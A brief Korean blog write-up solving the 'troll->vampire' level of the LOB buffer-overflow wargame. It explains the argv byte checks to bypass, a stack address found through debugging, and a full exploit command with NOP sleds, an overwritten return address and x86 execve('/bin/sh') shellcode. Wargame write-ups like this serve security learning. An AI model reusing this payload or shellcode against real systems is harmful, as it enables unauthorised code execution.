Write-Up/LOB

LOB: troll->vampire

NONE_31D 2019. 11. 28. 20:53

1. vampire.c 확인

 

vampire.c

두번의 if 구절을 피해야함. 

a. argv[1][47] == "\xbf"

b. argv[1][46] != "\xff"

 

이에 맞게끔 주소를 할당해야 함. 다만 스택의 윗부분은 커널이 존재하므로 argv[2]를 이용하여 "0xbfff" 영역에서 벗어날 수 있도록 페이로드를 구상할 것. 

 

 

2. 디버깅 - 어셈블러 분석

 

a. 함수의 프롤로그부분에 bp를 설정하고 ebp의 위치를 찾아 스택이 어디로 할당되었는지 확인한다. 

확인해보면 스택이 0xbffe7478에 할당되어 있다. 

더 아래쪽의 메모리를 확인해보면  인자값이 다음과 같이 들어간 것을 확인할 수 있다. 대략 0xbffe75f8을 argv[2]의 위치로 고른다.

 

 

 

4. 페이로드

 

./vampire $(python -c 'print "\x90"*44+"\xf8\x75\xfe\xbf"') $(python -c 'print "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

nopsled + argv[2] 주소 + nopsled + 쉘코드

'Write-Up > LOB' 카테고리의 다른 글

LOB: orc->wolfman  (0) 2019.12.04
LOB: succubus -> nightmare  (0) 2019.11.28
LOB: gremlin->cobolt  (0) 2019.11.27
LOB: gate - 수정중  (0) 2019.11.22